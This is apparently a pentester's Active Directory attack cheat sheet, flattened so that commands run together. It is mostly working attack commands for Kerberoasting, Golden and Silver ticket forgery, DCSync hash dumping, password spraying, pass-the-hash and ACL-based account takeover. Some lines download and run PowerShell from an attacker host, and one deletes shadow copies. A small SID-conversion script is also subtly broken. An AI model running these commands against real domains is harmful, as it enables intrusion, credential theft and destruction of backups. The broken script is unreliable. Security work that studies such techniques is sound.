02Windows
Active Directory
00 Basics
+----------------------------------------------+│ SID Structure │+----------------------------------------------+│ S-1-5-21-343818398-2089392276-30300820-544 │+----------------------------------------------+ │ │ │ └──── Subauthority Values ─────┘ │ │ │ │ └───────| RID (Relative Identifier) │ │ │ │ │ └─────────────── Identifier Authority (e.g., NT Authority = 5) │ │ │ └─────────── Revision (Always "1") │ └───────── "S" identifies as a SID string
- Identifier Authority: Defines the authority under which the SID was created. - 0 = Null Authority (Represents an empty or undefined authority.) - 1 = World Authority (epresents "everyone" or all users.) - 2 = Local Authority (Defines local machine accounts and groups.) - 3 = Creator Authority (Represents the creator or owner of an object.) - 4 = Non-Unique Authority (Rarely used; identifies non-unique entities.) - 5 = NT Authority (Represents the Windows NT security subsystem.)
- RID: Relative Identifier, unique to each account or group. - 500 = Administrator account. - 501 = Guest account. - 502 = KRBTGT account - used for Kerberos authentication. - 512 = Domain Administrators group. - 513 = Domain Users group. - 514 = Domain Guests group. - 515 = Domain Computers group. - 516 = Domain Controllers group. - 517 = Cert Publishers group. - 518 = Schema Admins group. - 519 = Enterprise Admins group. - 520 = Group Policy Creator Owners group. - 521 = Read-only Domain Controllers group. - 522 = Cloneable Domain Controllers group. - 525 = Protected Users group. - 544 = Administrators group. - 545 = Users group. - 546 = Guests group. - 547 = Power Users group. - 548 = Account Operators group. - 549 = Server Operators group. - 550 = Print Operators group. - 551 = Backup Operators group. - 552 = Replicator group. - 554 = Remote Desktop Users group. - 559 = Windows Authorization Access group. - 573 = RDS Remote Access Servers group. - 574 = RDS Endpoint Servers group. - 575 = RDS Management Servers group. - 577 = Access Control Assistance Operators group. - 578 = Remote Management Users group. - 580 = Storage Replica Administrators group. - 1000 = The first user account created manually after Windows installation.## ------------------| Generate NTLM hashes using passwordiconv -f ASCII -t UTF-16LE <(printf "<PASS>") | openssl dgst -md4
## ------------------| Clock skew too great [ERROR]sudo timedatectl set-timezone UTCsudo systemctl stop systemd-timesyncdsudo ntpdate -bB <IP>sudo ntpdate -u <IP>objectSidtoSIDrepresentation
import sysimport base64import struct
def convert(binary): version = struct.unpack('B', binary[0:1])[0] # I do not know how to treat version != 1 (it does not exist yet) assert version == 1, version length = struct.unpack('B', binary[1:2])[0] authority = struct.unpack(b'>Q', b'\x00\x00' + binary[2:8])[0] string = 'S-%d-%d' % (version, authority) binary = binary[8:] assert len(binary) == 4 * length for i in range(length): value = struct.unpack('<L', binary[4*i:4*(i+1)])[0] string += '-%d' % value return string
print(base64.b64decode(sys.argv[1]))
##python3 binary2SID.py <base64==>- Steel Hashes
## ------------------| Using Respondersudo responder -I tun0
## ------------------| Using Metasploituse auxiliary/server/capture/http_ntlmset SRVPORT 80set URIPATH /set SRVHOST <LHOST>set JOHNPWFILE passwordsrun- Basic commands
## ------------------| Import AD moduleGet-Module -Name ActiveDirectory -ListAvailableImport-Module -Name ActiveDirectory
## ------------------| List all users and computersGet-ADObject -LDAPFilter "(objectClass=user)"Get-ADObject -LDAPFilter "(objectCategory=user)"Get-ADObject -LDAPFilter "(&(!(objectClass=computer)(objectCategory=user)))"
## ------------------| List all users which start account name with hGet-ADObject -LDAPFilter "(sAMAccountName=h*)"Get-ADObject -LDAPFilter "(sAMAccountName=h*)" -Properties cn,objectSid,description,givenname,sn
## ------------------| List all users which has SPN (Service Principle Name) set;GetUserSPnsGet-ADObject -LDAPFilter "(servicePrincipalName=*)"Get-ADObject -LDAPFilter "(servicePrincipalName=*)" -Properties servicePrincipalName
## ------------------| Check Joined/Connect to domain?systeminfo | findstr /B "Domain" ## [Windows] If you see something other than Domain: WORKGROUP, then you are likely joined to a domainls -al /etc/krb5.conf ## [Linux]kinit -k host/$(hostname -f) ## [Linux]
## ------------------| Enumerating Domain Adminsnet group "Domain Admins" /domain
## ------------------| Enumerating server adminsnet group "Server_Admin" /domain
## ------------------| List all users on entire domainnet user /domain
## ------------------| List all groupsnet group /domain
## ------------------| List groups for h4rith usernet user h4rith /domain
## ------------------| Add users to groupsnet localgroup "Administrators" harith /add ### Add to the Administrator groupnet localgroup "Remote Desktop Users" harith /add ### Add to the Remote Desktop Usersnet localgroup "Remote Management Users" harith /add ### Add to the WinRM Users
## ------------------| Current domain info[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
## ------------------| Domain trusts([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
## ------------------| Current forest info[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
## ------------------| Get forest trust relationships([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
## ------------------| Get DCs of a domainnltest /dclist:offense.localnet group "domain controllers" /domain
## ------------------| Get DC for currently authenticated sessionnltest /dsgetdc:offense.local
## ------------------| Get domain trusts from cmd shellnltest /domain_trusts
## ------------------| Get user infonltest /user:"spotless"
## ------------------| List smb sharesGet-SmbShareGet-SmbShare -Name C$ | select *
## ------------------| Creating a new file shareNew-SmbShare -Name <ShareName> -Description "This is description" -Path C:\Shares\<ShareName>
## ------------------| Modifying share propertiesSet-SmbShare -Name <ShareName> -Description "This is description" -Force
## ------------------| Granting file share permissions.Grant-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -AccessRight Full -Force## You can use Everyone insted of <DOMAIN>\<USER>## You can use Read,Change,Custom insted of Full.
## ------------------| Removing file share permissionsRevoke-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force## You can use Everyone insted of <DOMAIN>\<USER>
## ------------------| Denying permissions to a file shareBlock-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -ForceUnBlock-SmbShareAccess -Name <ShareName> -AccountName <DOMAIN>\<USER> -Force## You can use Everyone insted of <DOMAIN>\<USER
## ------------------| Removing a file shareRemove-SmbShare -Name <ShareName> -Force
## ------------------| Get DC for currently authenticated sessionset l
## ------------------| Get domain name and DC the user authenticated toklist
## ------------------| Get all logon sessions. Includes NTLM authenticated sessionsklist sessions
## ------------------| Kerberos tickets for the sessionklist
## ------------------| Kached krbtgtklist tgt
## ------------------| Whoami on older Windows systemsset u
## ------------------| Find DFS shares with ADModuleGet-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name
## ------------------| Find DFS shares with ADSI$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}
## ------------------| Check if spooler service is running on a hostpowershell ls "\\dc01\pipe\spoolss"- Find GPP Passwords in
SYSVOL
## ------------------| Manualfindstr /S cpassword $env:logonserver\sysvol\*.xmlfindstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml
## ------------------| PowerSploitwget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1IEX(New-Object Net.WebClient).DownloadString('http://<IP>/Get-GPPPassword.ps1')Get-GPPPassword- Microsoft ActiveDirectory PowerShell ADModule
## ------------------| Setupwget https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1wget https://github.com/samratashok/ADModule/raw/master/Microsoft.ActiveDirectory.Management.dll## First you need to import the dll file [Use Absolute Path or .\Microsoft.ActiveDirectory.Management.dll]Import-Module C:\Full\Path\Microsoft.ActiveDirectory.Management.dll -Verbose# or : Import-ActiveDirectory -ActiveDirectoryModule C:\Full\Path\Microsoft.ActiveDirectory.Management.dll. .\Import-ActiveDirectory.ps1Get-Command -Module ActiveDirectory
## ------------------| Basic Doamin EnumGet-ADDomain # List current domainGet-ADDomain -Identity <DOMAIN> # List other domain info(Get-ADDomain).DomainSID # List domain SID valueGet-ADDomainController # List domain controllersGet-ADDomainController -DomainName <DOMAIN> -Discover
## ------------------| User EnumarationGet-ADUser -Filter * -Properties *Get-ADUser -Identity <USER> -Properties *Get-ADUser -Filter * -Properties * | select NameGet-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Properties | select NameGet-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description
## ------------------| Computer EnumarationGet-ADComputer -Filter * | select NameGet-ADComputer -Filter 'OperatingSystem -like "*Windows*"' -Properties OperatingSystem | select Name,OperatingSystemGet-ADComputer "<ComputerName>" –Properties * | Format-Table OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack
## ------------------| Domain Group EnumarationGet-ADGroup -Filter * | select nameGet-ADGroup -Filter * -Properties *Get-ADGroup -Filter 'Name -like "*admin*"' | select nameGet-ADGroupMember -Identity "Domain Admins" -RecursiveGet-ADPrincipalGroupMembership -Identity <USER>
## ------------------| Enumerate Organizational units [OUs]Get-ADOrganizationalUnit -Filter * -Properties * | select name
## ------------------| Enumerate ACL(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=<DOMAIN>').Access(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=<DOMAIN>').Access | select IdentityReference,ActiveDirectoryRights | fl
## ------------------| Enumerate Domain TrustsGet-ADTrust -Filter *Get-ADTrust -Identity <FQDN>
## ------------------| Enumerate Domain ForestsGet-ADForest(Get-ADForest).DomainsGet-ADForest -Identity <FQDN>Get-ADForest | select -ExpandProperty GlobalCatalogsGet-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'01 Exploitations & Attacks
01.1 Kerberoasting
💡 Kerberoasting is an attack technique that targets Service Principal Names (SPNs) in a Windows domain. In this attack, the attacker requests service tickets for service accounts that are running under Kerberos authentication. These service tickets are encrypted using the service account’s password hash, and since many service accounts have weak or easily guessable passwords, the attacker can brute-force the encrypted tickets offline to reveal the account’s password. Once the password is cracked, the attacker gains access to the service account and can escalate privileges within the domain. Kerberoasting is effective because it doesn’t require elevated privileges to launch, and the process of cracking the tickets is done offline, making detection difficult.
- With GetUserSPNs.py
## ------------------| Requesting TGS Tickets for Kerberoastingimpacket-GetUserSPNs -request -dc-ip <IP> <DOMAIN>/<USER> -no-passimpacket-GetUserSPNs -request -dc-ip <IP> <DOMAIN>/<USER>:<PASS>impacket-GetUserSPNs -request -dc-ip <IP> <DOMAIN>/<USER> -hashes <LM:NT>- With GetUserSPNs.ps1
## ------------------| List all SPNscp /usr/share/kerberoast/GetUserSPNs.ps1 .IEX (New-Object Net.WebClient).DownloadString('http://<IP>/GetUserSPNs.ps1')## With PowerViewGet-NetUser | Where-Object {$_.servicePrincipalName} | select samaccountname,serviceprincipalname | fl
## ------------------| Request ticketAdd-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <ServicePrincipalNames>## Then ticket will store on memory;
## ------------------| Use mimikatz to save ticket to diskkerberos::list /export
## ------------------| Crack hashsudo apt-get install kerberoastpython3 /usr/share/kerberoast/tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi
## ------------------| If you are willing to crack with johngit clone https://github.com/nidem/kerberoastpython3 kerberoast/kirbi2john.py ticket.kirbi > john-ticket.txtjohn --format=krb5tgs john-ticket.txt -wordlist=/usr/share/wordlists/rockyou.txt- With Invoke-Kerberoast.ps1
## ------------------| Downloadwget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
## ------------------| Export ticketImport-Module .\Invoke-Kerberoast.ps1Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File hashes.csv
## ------------------| Crack hashhashcat -m 13100 -a0 hash.txt /usr/share/wordlists/rockyou.txt -O- With Rubeus
## ------------------| Export ticket.\Rubeus.exe kerberoast /simple /outfile:hashes.txt.\Rubeus.exe kerberoast /creduser:<DOMAIN>\<USER> /credpassword:Password123! /outfile:hashes.txt
## ------------------| Crack hashhashcat -m 13100 -a0 hash.txt /usr/share/wordlists/rockyou.txt -O01.2 AS-REP Roasting
💡 AS-REP Roasting is an attack where an attacker targets accounts with disabled pre-authentication in a Kerberos environment. The attacker requests an AS-REP from the KDC, which is encrypted with the target account’s password hash. Since no pre-authentication is required for these accounts, the attacker can intercept the AS-REP and attempt to brute-force the encryption offline. If the account uses a weak password, the attacker can crack it and gain access to the account, potentially escalating privileges in the domain.
## ------------------| With Rubeus.\Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat
## ------------------| With Impacketimpacket-GetNPUsers -dc-ip <IP> <DOMAIN>/<USER> -no-passimpacket-GetNPUsers -dc-ip <IP> -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt <DOMAIN>/01.3 Silver Ticket
💡 A Silver Ticket attack is a post-exploitation technique in Kerberos environments where an attacker forges a service ticket (TGS) to access a specific service, like SQL Server or HTTP, without needing to contact the Domain Controller. This attack requires the NTLM hash of a service account, which can be obtained after compromising a machine or account. With this hash, the attacker can craft a fake Kerberos ticket that appears valid to the target service, allowing access as any user, including privileged ones. Since the forged ticket is presented directly to the service and not validated with the Domain Controller, Silver Ticket attacks are stealthier and harder to detect than Golden Ticket attacks.
- Prerequisite
## Domain Name --> systeminfo | findstr /B "Domain"## Password for service account --> perform kerberoasting or use mimikatz to dump the hash
## ------------------| Convert password to hash.\Rubeus.exe hash /password:<PASS>- PassTheTicket with Rubeus
.\Rubeus.exe silver /service:<servicePrincipalName> /rc4:<NTML-HASH> /sid:<domain_sid> /user:<NonExistentUser> /domain:<DOMAIN> /ptt- PassTheTicket with mimikatz
## ------------------| Flush & inject tickets.\mimikatz.exe "kerberos::purge" "exit".\mimikatz.exe "kerberos::golden /user:<NonExistentUser> /domain:<DOMAIN> /sid:<domain_sid> /target:<FQHN_service_account> /service:HTTP /rc4:<HASH> /ptt" "exit" >> mimikatz-silver.out # ^ MSSQLSvc/SqlServer.htb.com## ------------------| Get Shell.\PsExec.exe -accepteula \\<FQHN_service_account> cmd- PassTheTicket with python
## ------------------| Need to sync date (NETBIOS Time)sudo systemctl stop systemd-timesyncdsudo ntpdate <DCIP>
## ------------------| Get Silver Ticketpython3 /usr/share/doc/python3-impacket/examples/ticketer.py -nthash <HASH> -domain-sid <domain_sid> -domain <DOMAIN> -user-id 500 Administrator -spn <FQHN_service_account>impacket-getST -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :<HASH> -impersonate Administrator <DOMAIN>/<FQHN_service_account>
#### -dc-ip 10.10.10.248#### -spn - To get the SPN, that’s in the Node Info -> Node Properties section for the svc_int user in Bloodhound#### -hashes - the NTLM I collected earlier using gMSADumper.py#### -impersonate - the user I want a ticket for
## ------------------| Login via silver ticketexport KRB5CCNAME=Administrator.ccache01.4 Golden Ticket
💡 A Golden Ticket attack is a powerful post-exploitation technique where an attacker forges a Kerberos Ticket Granting Ticket (TGT) to gain unlimited access to any service or resource in a domain. To create a Golden Ticket, the attacker must first obtain the NTLM hash of the KRBTGT account, which is responsible for signing all Kerberos tickets in the domain. With this hash, the attacker can generate a fake TGT that appears completely legitimate to Domain Controllers and other systems. This allows them to impersonate any user, including Domain Admins, and maintain persistent, stealthy access across the network, often bypassing detection tools and authentication logs
- Prerequisite
## Impersonate user## Domain Name --> systeminfo | findstr /B "Domain"## SID --> whoami /user or Get-ADDomain <DOMAIN>## Domain KRBTGT Account NTLM password hash --> DCSync Attack- With impacket
## ------------------| Get Domain SIDimpacket-lookupsid [domain/]username[:password]@]<IP>
## ------------------| Extract Krbtgt hashimpacket-secretsdump [domain/]username[:password]@]<IP> -outputfile krb -user-statusimpacket-secretsdump [domain/]username[:password]@]<IP> -outputfile krb -user-status -just-dc-user krbtgt -just-dc-ntlm
## ------------------| Generate the TGT## [NTLM Hash]impacket-ticketer -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <DOMAIN> <USER>## [AES Key]impacket-ticketer -aesKey <aes_key> -domain-sid <domain_sid> -domain <DOMAIN> <USER>
## ------------------| Convert kirbi,ccacheimpacket-ticketConverter ticket.kirbi /tmp/ticket.ccacheimpacket-ticketConverter ticket.ccache /tmp/ticket.kirbi
## ------------------| Set the ticket for impacket useexport KRB5CCNAME=/tmp/ticket.[ccache/kirbi]klist
## ------------------| Execute remote commands with any of the following by using the TGT## !! Remember do not use IP address. always use hostname.domainpython psexec.py <DOMAIN>/<USER>@<remote_hostname.domain> -k -no-passpython smbexec.py <DOMAIN>/<USER>@<remote_hostname.domain> -k -no-passpython wmiexec.py <DOMAIN>/<USER>@<remote_hostname.domain> -k -no-passimpacket-psexec <DOMAIN>/<USER>@<remote_hostname.domain> -k -no-pass
## ------------------| Fix errors## KRB_AP_ERR_SKEW(Clock skew too great)sudo systemctl stop systemd-timesyncdsudo ntpdate <DCIP>- With Mimikatz
## ------------------| Pass the Ticket [/ppt]## If you use /ptt at the end of the command when generate the ticket,## Then you can use misc::cmd command and then use psexec.exe to get cmd shell.
## ------------------| Generate the ticket## If you do not use /ppt at the end of the command when you generate the ticket,## It will store the ticket as ticket.kirbi file.## This TGT ticketis valid for 10 years
## ------------------| RID## You can use /id:500 to geneate admin ticket
## ------------------| To generate the TGT## [NTLM Hash]kerberos::golden /user:h4rithd /domain:<DOMAIN> /sid:<domain_sid> /krbtgt:<krbtgt_ntlm_hash> /pttkerberos::golden /user:h4rithd /domain:<DOMAIN> /sid:<domain_sid> /krbtgt:<krbtgt_ntlm_hash> /id:500 /pttkerberos::golden /domain:<DOMAIN> /sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<USER>## [AES 128 key]kerberos::golden /domain:<DOMAIN> /sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<USER> /ptt## [AES 256 key] ** more secure encryption, probably more stealth due is the used by default by Microsoft.kerberos::golden /domain:<DOMAIN> /sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<USER> /ptt
## ------------------| Inject TGT with Mimikatzkerberos::ptt <ticket_kirbi_file>misc::cmd
## ------------------| Inject TGT with RubeusRubeus.exe ptt /ticket:<ticket_kirbi_file>
## ------------------| Get shellmisc::cmdpsexec.exe \\<DC_HostName> cmd.exepushd \\<DC_HostName>\C$- With Metasploit
## ------------------| Enumerate krbtgt hash & SID of the domain controllerload kiwidcsync_ntlm krbtgt
## ------------------| Colloect other informationshellipconfig /allnbstat -a <DNS_SERVERS_IP>
## ------------------| Create ticketgolden_ticket_create -d <DOMAIN> -u <USER> -s <DOMAIN-SID> -k <HASH> -t /tmp/ticket.kirbi01.5 DCSync Attack
💡 A DCSync attack is a post-exploitation method where an attacker pretends to be a Domain Controller to request password hashes and secrets from Active Directory using replication protocols. To perform this, the attacker needs access to the domain and an account with special permissions like Replicating Directory Changes, which are usually held by Domain Admins or Domain Controllers.
## ------------------| Prerequisite## Privileged account (administrators, Domain Admin or Enterprise Admin)
## ------------------| Ask for a credential for KRBTGT.\mimikatz.exe "lsadump::dcsync" "/domain:<DOMIAIN> /user:krbtgt" "exit" >> DCSync.out
## ------------------| Ask for a credential for h4rithd user.\mimikatz.exe "lsadump::dcsync" "/domain:<DOMIAIN> /user:h4rithd" "exit" >> DCSync.out01.6 Password Spraying
- Low and Slow Password Spraying
wget https://raw.githubusercontent.com/ZilentJack/Spray-Passwords/master/Spray-Passwords.ps1.\Spray-Passwords.ps1 -Pass Password123! -Admin## ------------------| Setupwget https://raw.githubusercontent.com/Greenwolf/Spray/master/spray.shchmod +x spray.sh
## ------------------| SMB Portalspray.sh -smb <IP> <USERNAMEs.TXT> <PASSWORDS.TXT> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
## ------------------| OWA Portalspray.sh -owa <IP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <RequestsFile>01.6 Pass The Hash [PTH] - Extended
## ------------------| impacket-psexecimpacket-psexec <USER>@<IP> -hashes <HASH>:<HASH>
## ------------------| pth-winexeexport SMBHASH=<HASH>:<HASH>pth-winexe -U administrator //192.168.1.101 cmdpth-winexe -U administrator/<HASH>:<HASH> //192.168.0.101 cmd
## ------------------| Metasploituse exploit/windows/smb/psexecset SMBPass <HASH>:<HASH>
## ------------------| wmiexec.pywmiexec.py –hashes <HASH>:<HASH> <DOMAIN>/<USER> @CORPDC01 "vssadmin delete shadows /all /quiet" > out.txt
## ------------------| PsExec.exePsExec.exe -accepteula \\<HOST> -u <DOMAIN>\<USER> -p <HASH>:<HASH> cmd.exePsExec.exe -accepteula \\<HOST> -s -u <DOMAIN>\<USER> -p <HASH>:<HASH> cmd.exe
## ------------------| MimikatzMimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<HASH> /domain:<DOMAIN>" "exit"
## ------------------| xfreerdpxfreerdp /u:<USER> /d:<DOMAIN> /pth:<HASH>:<HASH> /v:<IP>02 PowerView
## ------------------| Load the script remotely & locallyIEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/PowerView.ps1')Import-Module .\PowerView.ps1. .\PowerView.ps1
## ------------------| Enumerate Current DomainGet-DomainGet-Domain -Domain <DOMAIN>Get-DomainSID
## ------------------| Enumerate Domain ControllersGet-DomainControllerGet-DomainController -Domain <DOMAIN>
## ------------------| Enumerate Domain ComputersGet-NetComputerGet-NetComputer | select nameGet-NetComputer | select Name,operatingsystemGet-NetComputer -OperatingSystem "*Server 2016*" | select name,operatingsystem
## ------------------| Enumerate Domain UsersGet-DomainUserGet-DomainUser -Identity <USER>Get-DomainUser | select cnGet-DomainUser | select samaccountname,logoncount,lastlogonGet-DomainUser -Identity <USER> -Properties DisplayName, MemberOf,objectsid,useraccountcontrol | Format-List
## ------------------| Enumerate All GroupsGet-NetGroupGet-NetGroup | select nameGet-NetGroup 'Domain Admins'Get-NetGroup "*admin*"| select nameGet-NetGroup -Domain <DOMAIN> | select nameGet-NetGroupMember "Domain Admins" -Recurse | select MemberName
## ------------------| Enumerate Local GroupsGet-NetLocalGroupGet-NetLocalGroup | Select-Object GroupNameGet-NetLocalGroup -ComputerName <computername>Get-NetGroup -UserName <"username">| select nameGet-NetGroupMember -MemberName "domain admins" -Recurse | select MemberNameGet-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
## ------------------| Enumerate Domain PolicyGet-DomainPolicy(Get-DomainPolicy)."SystemAccess"(Get-DomainPolicy)."kerberospolicy"(Get-DomainPolicy -domain <DOMAIN>)."SystemAccess"
## ------------------| Enumerate Group Policy [GPO]Get-NetGPOGet-NetGPO | select displaynameGet-NetGPO -ComputerName <ComputeName>Find-GPOComputerAdmin -ComputerName <ComputeName>Find-GPOLocation -UserName <USER> -Verbose
## ------------------| Enumerate Organizational Units [OUs]Get-NetOUGet-NetOU | select distinguishedname
## ------------------| Enumerate ACLInvoke-ACLScanner -ResolveGUIDs # Time-consumingGet-ObjectAcl -Identity <USER> -ResolveGUIDsGet-ObjectAcl -SamAccountName <USER> -ResolveGUIDsGet-ObjectAcl -SamAccountName <USER> -ResolveGUIDs | select ObjectDN,ActiveDirectoryRights | fl
## ------------------| Enumerate Domain TrustsGet-DomainTrustGet-DomainTrust -Domain <FQDN>
## ------------------| Enumerate Domain ForestsGet-ForestGet-ForestTrustGet-ForestDomainGet-ForestGlobalCatalogGet-Forest -Forest <DOMAIN>Get-ForestTrust -Forest <DOMAIN>Get-ForestDomain -Forest <DOMAIN>Get-ForestGlobalCatalog -Forest <DOMAIN>
## ------------------| List Domain or File Shares.Find-DomainShareGet-NetFileServer -VerboseInvoke-ShareFinder -VerboseFind-DomainShare -CheckShareAccess
## ------------------| Find sensitive files on computer in the domainInvoke-FileFinder -Verbose
## ------------------| Request TGSRequest-SPNTicket
## ------------------| Convert SID value to Name"SID>" | Convert-SidToName
## ------------------| KerberoastInvoke-KerberoastInvoke-Kerberoast -Identity <USER>
## ------------------| Impersonate a user$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $pass)Invoke-UserImpersonation -Credential $credInvoke-RevertToSelf
## ------------------| Special Enumerations## Find all machines on the domain where current account has local admin accessFind-LocalAdminAccess -Verbose ## Very NoisyInvoke-EnumerateLocalAdmin -Verbose ## Need Admin Prv
## List all Logged / Active on usersGet-NetLoggedonGet-NetLoggedon -ComputerName <TargetMachineName> | Format-Table -AutoSizeGet-NetSessiom -ComputerName <DCName> | Format-Table -AutoSize
## List all Service Accounts [SPNs]Get-NetUser –SPNGet-NetUser | Where-Object {$_.servicePrincipalName} | select samaccountname,serviceprincipalname | fl
## List all Accounts with Kerberos pre-auth disabled [AS-REP Roasting]Get-DomainUser -PreauthNotRequired -Verbose
## Find all computers which has sessionsInvoke-UserHunterInvoke-UserHunter -Stealth ## Only target high value machinesInvoke-UserHunter -CheckAccessInvoke-UserHunter -GroupName "Domain Admins"03 Abusing ACLs
03.1 WriteOwner
## [OwnedUser] --(WriteOwner)--> [TargetUser] --(SetOwner+AddACL)--> [FullControl] --(Abuse)--> [ResetPass | DCSync | DumpHashes]## ------------------| Windows (PowerView.ps1)### Check permissionsGet-ObjectAcl -SamAccountName "TargetUser" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteOwner" }### Change the owner of the objectSet-DomainObjectOwner -Identity "TargetUser" -OwnerIdentity "OwnedUser"### Change Rights to allAdd-DomainObjectAcl -TargetIdentity "TargetUser" -PrincipalIdentity "OwnedUser" -Rights All -Verbose### Change Rights and reset passwordAdd-DomainObjectAcl -TargetIdentity "TargetUser" -PrincipalIdentity "OwnedUser" -Rights ResetPassword -Verbose$cred = ConvertTo-SecureString "Password!123" -AsPlainText -ForceSet-DomainUserPassword -Identity "TargetUser" -AccountPassword $cred -Verbosenet user "TargetUser"nxc smb <IP> -u TargetUser -p 'Password!123'## orcertipy-ad shadow auto -u <OwnedUser>@<DOMAIN> -p <PASS> -account <TargetUser> -dc-ip <IP>
## ------------------| Linux### Change the owner of the objectimpacket-owneredit <DOMAIN>/<OwnedUser>:'<PASS>' -action write -new-owner <OwnedUser> -target <TargetUser>bloodyAD -d <DOMAIN> --host <IP> -u "OwnedUser" -p <PASS> set owner "TargetUser" "OwnedUser"### Change Rightsimpacket-dacledit <DOMAIN>/<OwnedUser>:'<PASS>' -action write -rights FullControl -principal <OwnedUser> -target <TargetUser>bloodyAD -d <DOMAIN> --host <IP> -u "OwnedUser" -p <PASS> add genericAll "TargetUser" "OwnedUser"03.2 ForceChangePassword
## ------------------| Reset password$pass = ConvertTo-SecureString 'Password123!' -asPlainText -ForceSet-DomainUserPassword <USER> -AccountPassword $pass -Verbose
## ------------------| Simple Powershell if you are on ADSet-ADAccountPassword -Identity <USER> -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password123!" -Force)03.3 GenericAll
## ------------------| Add member to another group$pass = ConvertTo-SecureString 'Password123!' -asPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('HTB\Herman',$pass)Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential $credGet-DomainGroup -MemberIdentity Herman | select samaccountname
## ------------------| Linux envbloodyad -u "CurrentUserName" -p "CurrentPassword" -H <IP> -d "<DOMAIN>" add groupMember "TargetGroup" "TargetUser"net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"### or if you only have hashpth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"### Verifynet rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"03.4 GenericWrite
## ------------------| Setup## The cred isn’t necessary but...$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $pass)
## ------------------| Method I## Set a service principal name and kerberoast that account.## To actually Kerberoast, We need to use an SPN with a valid format like MSSQLSvc/<DOMAIN>:1433Set-DomainObject -Identity <UserNameToSetSPN> -SET @{serviceprincipalname='MSSQLSvc/<DOMAIN>:1433'}## We can use inbuild binary : setspn -a MSSQLSvc/<DOMAIN>:1433 <DOMAIN>\<USER>## With creds : Set-DomainObject -Credential $cred -Identity <UserNameToSetSPN> -SET @{serviceprincipalname='MSSQLSvc/<DOMAIN>:1433'}Get-DomainUser <UserNameToSetSPN> | Select serviceprincipalnameGet-DomainSPNTicket -SPN "MSSQLSvc/<DOMAIN>:1433" -Credential $cred | fl.\Rubeus.exe kerberoast /creduser:<DOMAIN>\<USER> /credpassword:Password123!
## ------------------| Method II## Setting the logon scriptcd C:\Windows\temp\echo 'whoami > C:\\Windows\\temp\\poc.txt' > foo.ps1Set-DomainObject -Credential $cred -Identity <USER> -SET @{scriptpath='C:\\Windows\\temp\\\\foo.ps1'}
## ------------------| Linux envsudo ntpdate "Domain"git clone https://github.com/ly4k/Certipy.git && cd Certipypython3 -m venv certipy-venvsource certipy-venv/bin/activatepip install certipy-adcertipy shadow auto -u "CurrentUserName" -p "CurrentPassword" -account "TargetUser" -dc-ip <IP>evil-winrm -i <IP> -u "TargetUser" -H "NT-Hash"03.5 AddKeyCredentialLink
## ------------------| Setupwget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/Whisker.exe.\Whisker.exe add /target:<USER>## Then run Rubeus command and get the NTLM hashevil-winrm -i <IP> -u <USER> -H <HASH>03.6 ADCSESC4
